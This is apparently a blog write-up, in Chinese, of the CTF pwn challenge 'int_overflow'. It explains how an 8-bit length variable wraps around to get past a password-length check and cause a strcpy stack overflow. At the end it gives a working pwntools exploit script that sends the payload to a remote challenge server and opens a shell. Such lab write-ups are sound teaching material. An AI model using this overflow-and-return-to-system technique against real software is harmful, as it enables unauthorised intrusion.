int_overflow--writeup

文件下載地址:

鏈接:https://pan.baidu.com/s/1RiL_dBXGdIRsz76Nw0Mj2w
提取碼:s8sy

目錄

0x01.分析

checksec:

看下源碼:

 理清一下流程:

尋找一下漏洞:

利用漏洞攻擊:

0x02.exp


0x01.分析

checksec:

32位程序,開啓了NX。

看下源碼:

 

 理清一下流程:

  1. 首先選擇1或2,選1登陸。
  2. 登陸函數中,首先輸入名字。
  3. 然後輸入密碼。
  4. 返回到密碼檢查函數,檢查密碼的長度,不在(4,8)內直接退出。
  5. 在這個範圍內,使用了strcpy函數賦值密碼到dest,然後返回。
  6. 發現源碼中有直接調用system的函數,但程序本身沒有調用。

尋找一下漏洞:

  1. 首先查看兩個read函數,buf分配的空間都比實際read讀入的要大,沒有漏洞。
  2. strcpy函數的dest只有0x14,但s最多有0x199,存在棧溢出。
  3. 然後檢查s的來源,發現來自第二個read。
  4. 繼續查看檢查函數的源碼發現,對read讀入的字符串s有一個長度的限制,不能超出8。
  5. 這樣的話,暫時無法直接從read讀大串字符從strcpy溢出。
  6. s的長度最終給了v3,是通過v3進行長度的判斷,我們查看一下v3。
  7. 發現v3是8位無符號整數,則最大隻能是255。
  8. read函數的長度是0x199,遠大於255。
  9. 發現可以使用整型溢出。

利用漏洞攻擊:

  1. 要使得v3的值是(4,8),利用整型溢出,我們可以使得read讀入長度爲(260,264)。
  2. 這樣溢出後,v3的值剛好在範圍內。
  3. 先確定一下strcpy處的偏移:

    4.偏移量爲0x14+4。

    5.查看system的地址:

地址爲:0x0804868B

    6.可以開始編寫攻擊腳本。

0x02.exp

##!/usr/bin/env python
from pwn import*

#r=process('./int_overflow')
r=remote("111.198.29.45",48613)

system_adr=0x0804868B
payload=(0x14+4)*'A'+p32(system_adr)
payload+=(260-len(payload))*'A'

r.recvuntil("choice:")
r.sendline('1')
r.recvuntil("username:")
r.sendline("atfwus")
r.recvuntil("passwd:")
r.sendline(payload)
r.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章